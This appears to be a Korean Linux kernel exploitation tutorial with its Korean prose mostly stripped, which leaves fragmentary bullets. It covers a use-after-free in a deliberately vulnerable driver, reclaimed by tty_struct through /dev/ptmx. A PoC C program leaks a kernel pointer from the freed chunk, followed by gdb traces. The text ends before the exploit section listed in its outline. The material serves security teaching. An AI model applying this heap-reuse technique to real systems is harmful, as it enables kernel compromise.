07.Use-After-Free(UAF) (feat.tty_struct)

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- 07.Use-After-Free(UAF) (feat.tty_struct)
  - Use-After-Free(UAF)
  - kmalloc, kfree
  - struct tty_struct
  - ptmx
    - kzalloc
  - Example
    - Source code of module
    - Build & Setting
  - Proof of Concept
    - PoC code
    - Debug
  - Exploit method
    - Size of "cred" structure
  - Exploit code
  - References

07.Use-After-Free(UAF) (feat.tty_struct)

- **06.Use-After-Free(UAF) (feat.struct cred)** **"struct cred" .**
  - struct tty_struct .

Use-After-Free(UAF)

- first-fit(Use-After-Free)[Korean]

CWE-416: Use After Free

- https://cwe.mitre.org/data/definitions/416.html
- https://www.cvedetails.com/cwe-details/416/cwe.html
- https://www.cvedetails.com/vulnerability-list/cweid-416/vulnerabilities.html

kmalloc, kfree

- 06.Use-After-Free(UAF) (feat.struct cred)-kmalloc,kfree

struct tty_struct

- **tty_struct tty tty .**
  - tty .
- **UAF *ops .**
  - tty_operation .
  - .(ret2user)
  - UAF *ops " tty_operation "
  - 04.Write-what-where(Arbitrary Memory Overwrite)(feat.ret2usr) "tty_operation Exploit" .
-

https://elixir.bootlin.com/linux/v4.4/source/include/linux/tty.h#L259

```
struct tty_struct {
        int        magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        int index;

        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;

        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;
        struct mutex throttle_mutex;
        struct rw_semaphore termios_rwsem;
        struct mutex winsize_mutex;
        spinlock_t ctrl_lock;
        spinlock_t flow_lock;
        /* Termios values are protected by the termios rwsem */
        struct ktermios termios, termios_locked;
        struct termiox *termiox;        /* May be NULL for unsupported */
        char name[64];
        struct pid *pgrp;                /* Protected by ctrl lock */
        struct pid *session;
        unsigned long flags;
        int count;
        struct winsize winsize;                /* winsize_mutex */
        unsigned long stopped:1,        /* flow_lock */
                      flow_stopped:1,
                      unused:BITS_PER_LONG - 2;
        int hw_stopped;
        unsigned long ctrl_status:8,        /* ctrl_lock */
                      packet:1,
                      unused_ctrl:BITS_PER_LONG - 9;
        unsigned int receive_room;        /* Bytes free for queue */
        int flow_change;

        struct tty_struct *link;
        struct fasync_struct *fasync;
        int alt_speed;                /* For magic substitution of 38400 bps */
        wait_queue_head_t write_wait;
        wait_queue_head_t read_wait;
        struct work_struct hangup_work;
        void *disc_data;
        void *driver_data;
        struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

        int closing;
        unsigned char *write_buf;
        int write_cnt;
        /* If the tty has a pending do_SAK, queue it here - akpm */
        struct work_struct SAK_work;
        struct tty_port *port;
};
```

ptmx

- **PoC ptmx_open() .**
  - ptmx_open() tty_struct .
    - struct tty_struct *tty;
  - tty_init_dev() .

        - tty = tty_init_dev(ptm_driver, index);

https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/pty.c#L734

```
static int ptmx_open(struct inode *inode, struct file *filp)
{
        struct tty_struct *tty;
        struct inode *slave_inode;
        int retval;
        int index;

        nonseekable_open(inode, filp);

        /* We refuse fsnotify events on ptmx, since it's a shared resource */
        filp->f_mode |= FMODE_NONOTIFY;

        retval = tty_alloc_file(filp);
        if (retval)
                return retval;

        /* find a device that is not in use. */
        mutex_lock(&devpts_mutex);
        index = devpts_new_index(inode);
        if (index < 0) {
                retval = index;
                mutex_unlock(&devpts_mutex);
                goto err_file;
        }

        mutex_unlock(&devpts_mutex);

        mutex_lock(&tty_mutex);
        tty = tty_init_dev(ptm_driver, index);

        if (IS_ERR(tty)) {
                retval = PTR_ERR(tty);
                goto out;
        }

        /* The tty returned here is locked so we can safely
           drop the mutex */
        mutex_unlock(&tty_mutex);
...
```

- **tty_init_dev()** .
    - tty_struct , tty_init_dev() .
        - struct tty_struct *tty;
        - tty = tty_init_dev(ptm_driver, index);

https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/tty_io.c#L1506

```
struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
        struct tty_struct *tty;
        int retval;

        /*
         * First time open is complex, especially for PTY devices.
         * This code guarantees that either everything succeeds and the
         * TTY is ready for operation, or else the table slots are vacated
         * and the allocated memory released.  (Except that the termios
         * and locked termios may be retained.)
         */

        if (!try_module_get(driver->owner))
                return ERR_PTR(-ENODEV);

        tty = alloc_tty_struct(driver, idx);
        if (!tty) {
                retval = -ENOMEM;
                goto err_module_put;
        }

        tty_lock(tty);
        retval = tty_driver_install_tty(driver, tty);
...
```

- **tty_init_dev() .**
  - tty_struct .
  - kzalloc() Heap .
    - tty_struct Heap .
  - **, Heap UAF .**

https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/tty_io.c#L3105

```
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
        struct tty_struct *tty;

        tty = kzalloc(sizeof(*tty), GFP_KERNEL);
        if (!tty)
                return NULL;

        kref_init(&tty->kref);
        tty->magic = TTY_MAGIC;
        tty_ldisc_init(tty);
        tty->session = NULL;
        tty->pgrp = NULL;
...
```

kzalloc

- **kzalloc() kmalloc() Kernel Heap , 0 .**
- **kzalloc() .**
  - (Heap) .
  - (Heap) .
    - Kernel ram GFP_KERNEL flag .

- https://www.kernel.org/doc/htmldocs/kernel-api/API-kzalloc.html

Example

Source code of module

- 06.Use-After-Free(UAF) (feat.struct cred) - Source code of module

Build & Setting

- 06.Use-After-Free(UAF) (feat.struct cred) - Build & Setting

Proof of Concept

PoC code

- **"UAF" .**
  - open() "/dev/chardev0" , fd1 .
  - ioctl() 736 byte Heap .
  - ioctl() Heap .
  - open() "/dev/ptmx" , fd_tty .
  - read() .
    - Kernel heap .
    - , UAF .

PoC-3.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include "chardev.h"

#define DEVICE_FILE_NAME "/dev/chardev0"
#define HEAP_SIZE 736

int main(){

    int fd1,fd_tty,i,j;
    char info[HEAP_SIZE];

    if ((fd1 = open(DEVICE_FILE_NAME, O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    ioctl(fd1, KMALLOC, HEAP_SIZE);
    ioctl(fd1, KFREE);

    if ((fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    memset(info, 0, HEAP_SIZE);
    read(fd1, info, HEAP_SIZE - 1);

    for (i = 0; i < 46; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff);
        printf("\n");
    }

    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }

    if (close(fd_tty) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
```

Debug

- .
  - chardev_open : 0xffffffffc01a4020
  - alloc_tty_struct : 0xffffffff814c6e30

Address of the chardev module

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep chardev
ffffffffc01a4000 t chardev_release        [chardev]
ffffffffc01a4020 t chardev_open        [chardev]
ffffffffc01a6480 b info        [chardev]
ffffffffc01a4060 t chardev_write        [chardev]
ffffffffc01a40c0 t chardev_read        [chardev]
ffffffffc01a4120 t chardev_ioctl        [chardev]
ffffffffc01a4210 t chardev_init        [chardev]
ffffffffc01a64a0 b chardev_cdev        [chardev]
ffffffffc01a6508 b chardev_major        [chardev]
ffffffffc01a6480 b __key.25752        [chardev]
ffffffffc01a6490 b chardev_class        [chardev]
ffffffffc01a4350 t chardev_exit        [chardev]
ffffffffc01a6100 d __this_module        [chardev]
ffffffffc01a4350 t cleanup_module        [chardev]
ffffffffc01a4210 t init_module        [chardev]
ffffffffc01a6000 d s_chardev_fops        [chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep alloc_tty_struct
ffffffff814c6e30 T alloc_tty_struct
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
```

- **breakpointer .**
  - kmalloc() : 0xffffffffc01a41c5
  - kmalloc() :0xffffffffc01a41ca
  - kfree() : 0xffffffffc01a419d
  - kfree() : 0xffffffffc01a41a2
  - kmem_cache_alloc_trace() : 0xffffffff814c6e59
  - kmem_cache_alloc_trace() : 0xffffffff814c6e5e

Breakpoint

```
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file
or directory.
(gdb) x/50i 0xffffffffc01a4120
   0xffffffffc01a4120:        nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01a4125:        push   rbp
   0xffffffffc01a4126:        xor    eax,eax
   0xffffffffc01a4128:        mov    rdi,0xffffffffc01a50e8
   0xffffffffc01a412f:        mov    rbp,rsp
   0xffffffffc01a4132:        push   r12
   0xffffffffc01a4134:        mov    r12,rdx
   0xffffffffc01a4137:        push   rbx
   0xffffffffc01a4138:        mov    ebx,esi
   0xffffffffc01a413a:        call   0xffffffff81180972 <printk>
   0xffffffffc01a413f:        cmp    ebx,0x4700
   0xffffffffc01a4145:        je     0xffffffffc01a417c
   0xffffffffc01a4147:        cmp    ebx,0x40084704
   0xffffffffc01a414d:        je     0xffffffffc01a416b
   0xffffffffc01a414f:        mov    esi,ebx
   0xffffffffc01a4151:        mov    rdi,0xffffffffc01a51dd
   0xffffffffc01a4158:        xor    eax,eax
   0xffffffffc01a415a:        call   0xffffffff81180972 <printk>
   0xffffffffc01a415f:        mov    rax,0xfffffffffffffff2
   0xffffffffc01a4166:        pop    rbx
   0xffffffffc01a4167:        pop    r12
   0xffffffffc01a4169:        pop    rbp
   0xffffffffc01a416a:        ret
   0xffffffffc01a416b:        cmp    QWORD PTR [rip+0x2315],0x0        # 0xffffffffc01a6488
   0xffffffffc01a4173:        je     0xffffffffc01a41a6
   0xffffffffc01a4175:        pop    rbx
```

```
   0xffffffffc01a4176:        pop    r12
   0xffffffffc01a4178:        xor    eax,eax
   0xffffffffc01a417a:        pop    rbp
   0xffffffffc01a417b:        ret
   0xffffffffc01a417c:        mov    rsi,QWORD PTR [rip+0x2305]        # 0xffffffffc01a6488
   0xffffffffc01a4183:        test   rsi,rsi
   0xffffffffc01a4186:        je     0xffffffffc01a4175
   0xffffffffc01a4188:        mov    rdi,0xffffffffc01a5118
   0xffffffffc01a418f:        xor    eax,eax
   0xffffffffc01a4191:        call   0xffffffff81180972 <printk>
   0xffffffffc01a4196:        mov    rdi,QWORD PTR [rip+0x22eb]        # 0xffffffffc01a6488
   0xffffffffc01a419d:        call   0xffffffff811dd600 <kfree>
   0xffffffffc01a41a2:        xor    eax,eax
   0xffffffffc01a41a4:        jmp    0xffffffffc01a4166
   0xffffffffc01a41a6:        xor    esi,esi
   0xffffffffc01a41a8:        mov    rdi,0xffffffffc01a51b1
   0xffffffffc01a41af:        xor    eax,eax
   0xffffffffc01a41b1:        call   0xffffffff81180972 <printk>
   0xffffffffc01a41b6:        mov    esi,0x24000c0
   0xffffffffc01a41bb:        mov    rdi,r12
   0xffffffffc01a41be:        mov    QWORD PTR [rip+0x22bb],r12        # 0xffffffffc01a6480
   0xffffffffc01a41c5:        call   0xffffffff811dcbe0 <__kmalloc>
   0xffffffffc01a41ca:        test   rax,rax
   0xffffffffc01a41cd:        mov    QWORD PTR [rip+0x22b4],rax        # 0xffffffffc01a6488
(gdb) b *0xffffffffc01a41c5
Breakpoint 1 at 0xffffffffc01a41c5
(gdb) b *0xffffffffc01a41ca
Breakpoint 2 at 0xffffffffc01a41ca
(gdb) b *0xffffffffc01a419d
Breakpoint 3 at 0xffffffffc01a419d
(gdb) b *0xffffffffc01a41a2
Breakpoint 4 at 0xffffffffc01a41a2
(gdb) x/50i 0xffffffff814c6e30
   0xffffffff814c6e30 <alloc_tty_struct>:        nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff814c6e35 <alloc_tty_struct+5>:        push   rbp
   0xffffffff814c6e36 <alloc_tty_struct+6>:        mov    edx,0x2e0
   0xffffffff814c6e3b <alloc_tty_struct+11>:        mov    rbp,rsp
   0xffffffff814c6e3e <alloc_tty_struct+14>:        push   r13
   0xffffffff814c6e40 <alloc_tty_struct+16>:        mov    r13d,esi
   0xffffffff814c6e43 <alloc_tty_struct+19>:        mov    esi,0x24080c0
   0xffffffff814c6e48 <alloc_tty_struct+24>:        push   r12
   0xffffffff814c6e4a <alloc_tty_struct+26>:        mov    r12,rdi
   0xffffffff814c6e4d <alloc_tty_struct+29>:        push   rbx
   0xffffffff814c6e4e <alloc_tty_struct+30>:        sub    rsp,0x8
   0xffffffff814c6e52 <alloc_tty_struct+34>:        mov    rdi,QWORD PTR [rip+0xaff1b7]        #
0xffffffff81fc6010 <kmalloc_caches+80>
   0xffffffff814c6e59 <alloc_tty_struct+41>:        call   0xffffffff811dbd70 <kmem_cache_alloc_trace>
   0xffffffff814c6e5e <alloc_tty_struct+46>:        test   rax,rax
   0xffffffff814c6e61 <alloc_tty_struct+49>:        mov    rbx,rax
   0xffffffff814c6e64 <alloc_tty_struct+52>:        je     0xffffffff814c7040 <alloc_tty_struct+528>
   0xffffffff814c6e6a <alloc_tty_struct+58>:        mov    rdi,rax
   0xffffffff814c6e6d <alloc_tty_struct+61>:        mov    DWORD PTR [rax+0x4],0x1
   0xffffffff814c6e74 <alloc_tty_struct+68>:        mov    DWORD PTR [rax],0x5401
   0xffffffff814c6e7a <alloc_tty_struct+74>:        call   0xffffffff814cd930 <tty_ldisc_init>
   0xffffffff814c6e7f <alloc_tty_struct+79>:        lea    rdi,[rbx+0x88]
   0xffffffff814c6e86 <alloc_tty_struct+86>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6e8d <alloc_tty_struct+93>:        mov    rsi,0xffffffff81b0a856
   0xffffffff814c6e94 <alloc_tty_struct+100>:        mov    QWORD PTR [rbx+0x1d8],0x0
   0xffffffff814c6e9f <alloc_tty_struct+111>:        mov    QWORD PTR [rbx+0x1d0],0x0
   0xffffffff814c6eaa <alloc_tty_struct+122>:        call   0xffffffff810c3f20 <__mutex_init>
   0xffffffff814c6eaf <alloc_tty_struct+127>:        lea    rdi,[rbx+0xb0]
   0xffffffff814c6eb6 <alloc_tty_struct+134>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6ebd <alloc_tty_struct+141>:        mov    rsi,0xffffffff81b0a869
   0xffffffff814c6ec4 <alloc_tty_struct+148>:        call   0xffffffff810c3f20 <__mutex_init>
   0xffffffff814c6ec9 <alloc_tty_struct+153>:        lea    rdi,[rbx+0xd8]
   0xffffffff814c6ed0 <alloc_tty_struct+160>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6ed7 <alloc_tty_struct+167>:        mov    rsi,0xffffffff81b0a87e
   0xffffffff814c6ede <alloc_tty_struct+174>:        call   0xffffffff810c5eb0 <__init_rwsem>
   0xffffffff814c6ee3 <alloc_tty_struct+179>:        lea    rdi,[rbx+0x100]
   0xffffffff814c6eea <alloc_tty_struct+186>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6ef1 <alloc_tty_struct+193>:        mov    rsi,0xffffffff81b0a892
```

```
   0xffffffff814c6ef8 <alloc_tty_struct+200>:        call   0xffffffff810c3f20 <__mutex_init>
   0xffffffff814c6efd <alloc_tty_struct+205>:        lea    rdi,[rbx+0x28]
   0xffffffff814c6f01 <alloc_tty_struct+209>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6f08 <alloc_tty_struct+216>:        mov    rsi,0xffffffff81b0a8a6
   0xffffffff814c6f0f <alloc_tty_struct+223>:        call   0xffffffff814cf0f0 <__init_ldsem>
   0xffffffff814c6f14 <alloc_tty_struct+228>:        lea    rdi,[rbx+0x230]
   0xffffffff814c6f1b <alloc_tty_struct+235>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6f22 <alloc_tty_struct+242>:        mov    rsi,0xffffffff81b0a8b6
   0xffffffff814c6f29 <alloc_tty_struct+249>:        call   0xffffffff810bd4b0 <__init_waitqueue_head>
   0xffffffff814c6f2e <alloc_tty_struct+254>:        lea    rdi,[rbx+0x248]
   0xffffffff814c6f35 <alloc_tty_struct+261>:        mov    rdx,0xffffffff81fe322c
   0xffffffff814c6f3c <alloc_tty_struct+268>:        mov    rsi,0xffffffff81b0a8c7
   0xffffffff814c6f43 <alloc_tty_struct+275>:        call   0xffffffff810bd4b0 <__init_waitqueue_head>
(gdb) b *0xffffffff814c6e59
Breakpoint 5 at 0xffffffff814c6e59: file /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux
/slab.h, line 458.
(gdb) b *0xffffffff814c6e5e
Breakpoint 6 at 0xffffffff814c6e5e: file /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty
/tty_io.c, line 3142.
(gdb) c
Continuing.
```

- **"PoC" .**

Run the user program

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-3
```

- **kmalloc() .**
  - kernel 736 byte Heap .
  - 0xffff88003a9c5c00 .

Call kmalloc()

```
Breakpoint 1, 0xffffffffc01a41c5 in ?? ()
(gdb) x/2i $rip
=> 0xffffffffc01a41c5:        call   0xffffffff811dcbe0 <__kmalloc>
   0xffffffffc01a41ca:        test   rax,rax
(gdb) i r rdi rsi
rdi            0x2e0               736
rsi            0x24000c0           37748928
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01a41ca in ?? ()
(gdb) i r rax
rax            0xffff88003a9c5c00  -131940412007424
(gdb) c
Continuing.
```

- **kfree() .**
  - kfree() Heap , .

Call kfree()

```
Breakpoint 3, 0xffffffffc01a419d in ?? ()
(gdb) x/2i $rip
=> 0xffffffffc01a419d:        call   0xffffffff811dd600 <kfree>
   0xffffffffc01a41a2:        xor    eax,eax
(gdb) i r rdi
rdi            0xffff88003a9c5c00  -131940412007424
(gdb) x/50gx 0xffff88003a9c5c00
0xffff88003a9c5c00:        0x0000000000000000        0x0000202100000000
0xffff88003a9c5c10:        0x0000011a01e0000b        0x000002ea00000127
0xffff88003a9c5c20:        0x0000000001e0000b        0x000b001900000000
0xffff88003a9c5c30:        0x0000000004200115        0x0420011500002021
0xffff88003a9c5c40:        0x000001270000011a        0x04200115000002ea
0xffff88003a9c5c50:        0x0000000000000000        0x01c01cbb000b0019
0xffff88003a9c5c60:        0x0000202100000000        0x0000011a01c01cbb
0xffff88003a9c5c70:        0x000002ea00000127        0x0000000001c01cbb
0xffff88003a9c5c80:        0x000b001900000000        0x0000000001c00085
0xffff88003a9c5c90:        0x01c0008500002021        0x000001270000011a
0xffff88003a9c5ca0:        0x01c00085000002ea        0x0000000000000000
0xffff88003a9c5cb0:        0x01c01c6d000b0019        0x0000202100000000
0xffff88003a9c5cc0:        0x0000011a01c01c6d        0x000002ea00000127
0xffff88003a9c5cd0:        0x0000000001c01c6d        0x000b001900000000
0xffff88003a9c5ce0:        0x0000000001c02ef6        0x01c02ef600002021
0xffff88003a9c5cf0:        0x000001270000011a        0x01c02ef6000002ea
0xffff88003a9c5d00:        0x0000000000000000        0xaaaecb6f97def279
0xffff88003a9c5d10:        0x000049604e0110b0        0xb57e10000a080101
0xffff88003a9c5d20:        0x0a050101adcd1633        0xaaaecb6f86aecb6f
0xffff88003a9c5d30:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d40:        0x0000000000000000        0xffff88003a9c5d48
0xffff88003a9c5d50:        0xffff88003a9c5d48        0xffff88003a9c5d58
0xffff88003a9c5d60:        0xffff88003a9c5d58        0xffff88003a9c5d68
0xffff88003a9c5d70:        0xffff88003a9c5d68        0xffff88003a9c5d78
0xffff88003a9c5d80:        0xffff88003a9c5d78        0x0000000000000000
(gdb) c
Continuing.

Breakpoint 4, 0xffffffffc01a41a2 in ?? ()
(gdb) x/50gx 0xffff88003a9c5c00
0xffff88003a9c5c00:        0x0000000000000000        0x0000202100000000
0xffff88003a9c5c10:        0x0000011a01e0000b        0x000002ea00000127
0xffff88003a9c5c20:        0x0000000001e0000b        0x000b001900000000
0xffff88003a9c5c30:        0x0000000004200115        0x0420011500002021
0xffff88003a9c5c40:        0x000001270000011a        0x04200115000002ea
0xffff88003a9c5c50:        0x0000000000000000        0x01c01cbb000b0019
0xffff88003a9c5c60:        0x0000202100000000        0x0000011a01c01cbb
0xffff88003a9c5c70:        0x000002ea00000127        0x0000000001c01cbb
0xffff88003a9c5c80:        0x000b001900000000        0x0000000001c00085
0xffff88003a9c5c90:        0x01c0008500002021        0x000001270000011a
0xffff88003a9c5ca0:        0x01c00085000002ea        0x0000000000000000
0xffff88003a9c5cb0:        0x01c01c6d000b0019        0x0000202100000000
0xffff88003a9c5cc0:        0x0000011a01c01c6d        0x000002ea00000127
0xffff88003a9c5cd0:        0x0000000001c01c6d        0x000b001900000000
0xffff88003a9c5ce0:        0x0000000001c02ef6        0x01c02ef600002021
0xffff88003a9c5cf0:        0x000001270000011a        0x01c02ef6000002ea
0xffff88003a9c5d00:        0x0000000000000000        0xaaaecb6f97def279
0xffff88003a9c5d10:        0x000049604e0110b0        0xb57e10000a080101
0xffff88003a9c5d20:        0x0a050101adcd1633        0xaaaecb6f86aecb6f
0xffff88003a9c5d30:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d40:        0x0000000000000000        0xffff88003a9c5d48
0xffff88003a9c5d50:        0xffff88003a9c5d48        0xffff88003a9c5d58
0xffff88003a9c5d60:        0xffff88003a9c5d58        0xffff88003a9c5d68
0xffff88003a9c5d70:        0xffff88003a9c5d68        0xffff88003a9c5d78
0xffff88003a9c5d80:        0xffff88003a9c5d78        0x0000000000000000
(gdb) c
Continuing.
```

- **UAF .**

- kmem_cache_alloc_trace() Heap 0x2e0(736) .
- kmem_cache_alloc_trace() Heap (0xffff88003a9c5c00) .

Call copy_to_user()

```
Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build/linux-lts-
xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
458        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or
directory.
(gdb) x/2i $rip
=> 0xffffffff814c6e59 <alloc_tty_struct+41>:        call   0xffffffff811dbd70 <kmem_cache_alloc_trace>
   0xffffffff814c6e5e <alloc_tty_struct+46>:        test   rax,rax
(gdb) i r rdi rsi rdx
rdi            0xffff88003f807500  -131940329949952
rsi            0x24080c0           37781696
rdx            0x2e0               736
(gdb) c
Continuing.

Breakpoint 6, alloc_tty_struct (driver=0xffff88003666be00, idx=15) at /build/linux-lts-xenial-gUF4JR/linux-lts-
xenial-4.4.0/drivers/tty/tty_io.c:3142
3142        /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or
directory.
(gdb) i r rax
rax            0xffff88003a9c5c00  -131940412007424
(gdb) x/50gx 0xffff88003a9c5c00
0xffff88003a9c5c00:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c10:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c20:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c30:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c40:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c50:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c60:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c70:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c80:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5c90:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5ca0:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5cb0:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5cc0:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5cd0:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5ce0:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5cf0:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d00:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d10:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d20:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d30:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d40:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d50:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d60:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d70:        0x0000000000000000        0x0000000000000000
0xffff88003a9c5d80:        0x0000000000000000        0x0000000000000000
(gdb) c
Continuing.
```

- **"struct tty_struct" .**
  - "ops" .(ops = 0xffffffff818713c0)
  - , UAF "tty_struct" .

(struct tty_struct)0xffff88003a9c5c00

```
(gdb)  p *(struct tty_struct*)0xffff88003a9c5c00
$11 = {magic = 21505, kref = {refcount = {counter = 2}}, dev = 0x0 <irq_stack_union>, driver =
0xffff88003666be00, ops = 0xffffffff818713c0 <ptm_unix98_ops>, index = 15,
  ldisc_sem = {count = 0, wait_lock = {raw_lock = {val = {counter = 0}}}, wait_readers = 0, read_wait = {next =
0xffff88003a9c5c38, prev = 0xffff88003a9c5c38}, write_wait = {
      next = 0xffff88003a9c5c48, prev = 0xffff88003a9c5c48}}, ldisc = 0xffff88002c5f9760, atomic_write_lock =
{count = {counter = 1}, wait_lock = {{rlock = {raw_lock = {
            val = {counter = 0}}}}}, wait_list = {next = 0xffff88003a9c5c68, prev = 0xffff88003a9c5c68}, owner
= 0x0 <irq_stack_union>, osq = {tail = {counter = 0}}},
  legacy_mutex = {count = {counter = 0}, wait_lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, wait_list
= {next = 0xffff88003a9c5c90, prev = 0xffff88003a9c5c90},
    owner = 0xffff88000e3b6e00, osq = {tail = {counter = 0}}}, throttle_mutex = {count = {counter = 1},
wait_lock = {{rlock = {raw_lock = {val = {counter = 0}}}}},
    wait_list = {next = 0xffff88003a9c5cb8, prev = 0xffff88003a9c5cb8}, owner = 0x0 <irq_stack_union>, osq =
{tail = {counter = 0}}}, termios_rwsem = {count = 0,
    wait_list = {next = 0xffff88003a9c5ce0, prev = 0xffff88003a9c5ce0}, wait_lock = {raw_lock = {val = {counter
= 0}}}, osq = {tail = {counter = 0}},
    owner = 0x0 <irq_stack_union>}, winsize_mutex = {count = {counter = 1}, wait_lock = {{rlock = {raw_lock =
{val = {counter = 0}}}}}, wait_list = {
      next = 0xffff88003a9c5d08, prev = 0xffff88003a9c5d08}, owner = 0x0 <irq_stack_union>, osq = {tail =
{counter = 0}}}, ctrl_lock = {{rlock = {raw_lock = {val = {
            counter = 0}}}}}, flow_lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, termios = {c_iflag =
0, c_oflag = 0, c_cflag = 0, c_lflag = 0, c_line = 0 '\000',
    c_cc = '\000' <repeats 18 times>, c_ispeed = 0, c_ospeed = 0}, termios_locked = {c_iflag = 0, c_oflag = 0,
c_cflag = 0, c_lflag = 0, c_line = 0 '\000',
    c_cc = '\000' <repeats 18 times>, c_ispeed = 0, c_ospeed = 0}, termiox = 0x0 <irq_stack_union>, name =
"ptm15", '\000' <repeats 58 times>, pgrp = 0x0 <irq_stack_union>,
  session = 0x0 <irq_stack_union>, flags = 0, count = 0, winsize = {ws_row = 0, ws_col = 0, ws_xpixel = 0,
ws_ypixel = 0}, stopped = 0, flow_stopped = 0, unused = 0,
  hw_stopped = 0, ctrl_status = 0, packet = 0, unused_ctrl = 0, receive_room = 0, flow_change = 0, link = 0x0
<irq_stack_union>, fasync = 0x0 <irq_stack_union>,
  alt_speed = 0, write_wait = {lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, task_list = {next =
0xffff88003a9c5e38, prev = 0xffff88003a9c5e38}}, read_wait = {
    lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, task_list = {next = 0xffff88003a9c5e50, prev =
0xffff88003a9c5e50}}, hangup_work = {data = {
      counter = 68719476704}, entry = {next = 0xffff88003a9c5e68, prev = 0xffff88003a9c5e68}, func =
0xffffffff814c5120 <do_tty_hangup>}, disc_data = 0x0 <irq_stack_union>,
  driver_data = 0x0 <irq_stack_union>, tty_files = {next = 0xffff88003a9c5e90, prev = 0xffff88003a9c5e90},
closing = 0, write_buf = 0x0 <irq_stack_union>, write_cnt = 0,
  SAK_work = {data = {counter = 68719476704}, entry = {next = 0xffff88003a9c5ec0, prev = 0xffff88003a9c5ec0},
func = 0xffffffff814c6e10 <do_SAK_work>},
  port = 0x0 <irq_stack_union>}
(gdb)
```

(struct file_operations)0xffffffff818713c0

```
(gdb) p *(struct file_operations*)0xffffffff818713c0
$12 = {owner = 0xffffffff814cf300 <ptm_unix98_lookup>, llseek = 0xffffffff814d0280 <pty_unix98_install>, read =
0xffffffff814cf320 <pty_unix98_remove>,
  write = 0xffffffff814cf230 <pty_open>, read_iter = 0xffffffff814cfbc0 <pty_close>, write_iter =
0xffffffff814cf5f0 <pty_unix98_shutdown>,
  iterate = 0xffffffff814cf5d0 <pty_cleanup>, poll = 0xffffffff814cf570 <pty_write>, unlocked_ioctl = 0x0
<irq_stack_union>, compat_ioctl = 0x0 <irq_stack_union>,
  mmap = 0xffffffff814cf7f0 <pty_write_room>, open = 0xffffffff814cf220 <pty_chars_in_buffer>, flush =
0xffffffff814cfb10 <pty_unix98_ioctl>,
